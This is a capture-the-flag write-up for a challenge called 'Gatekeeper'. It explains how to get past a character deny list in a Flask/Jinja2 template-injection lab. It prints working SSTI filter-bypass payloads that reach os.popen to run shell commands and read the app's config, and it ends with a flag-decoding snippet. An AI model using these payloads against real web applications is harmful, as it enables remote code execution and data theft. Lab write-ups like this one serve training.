Advent of CTF - Challenge 17

“Gatekeeper”

Challenge

This challenge is the same as Challenge 16, but now the input is heavily filtered.

What you will learn:

  • Bypassing filters

Solution

start.png
Figure 1: The start of the challenge

Attempting to use the same payloads as before will result in an error message saying that the entered emoji is on a deny list.

denied.png
Figure 2: Denied

Apparently there is some form of character checking happening. Running through various combinations will lead to a list of ._" and the word config.

In fact, in the challenge code this is implemented as following:

if ".' in p or '_' in p or "'" in p or 'config' in p:

The cheat sheet on Payload All The Things has a great reference on bypassing filters. Following this guide will get you most of the way. The final payload that is suggested is:

{{request|attr("application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')
('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|
attr('popen')('id')|attr('read')()}}

But obviously there are illegal characters in it. The " can be replaced with " however and this payload will work.

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")
  ("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|
  attr("popen")("id")|attr("read")()}}
ssti-bypass-id.png
Figure 3: Bypassing the deny list

From here the challenge is the same as the previous one.

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")
  ("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|
  attr("popen")("cat app**")|attr("read")()}}

The source does not contain the flag however, this needs to be taken from the config variable again. Searching the internet will yield several ways of accessing the config dictionary. Below is one.

{{self|attr("\x5f\x5fdict\x5f\x5f")}}

In the source code the magic function is just a little bit different from the last one, but the proces is the same; extract from the source and run in a python shell.

def magic(flag, key): 
    return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag)))

flag="C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"
magic(flag, "46e505c983433b7c8eefb953d3ffcd196a08bbf9")

Go and get the badge as well.

badge.png

Go back to the homepage.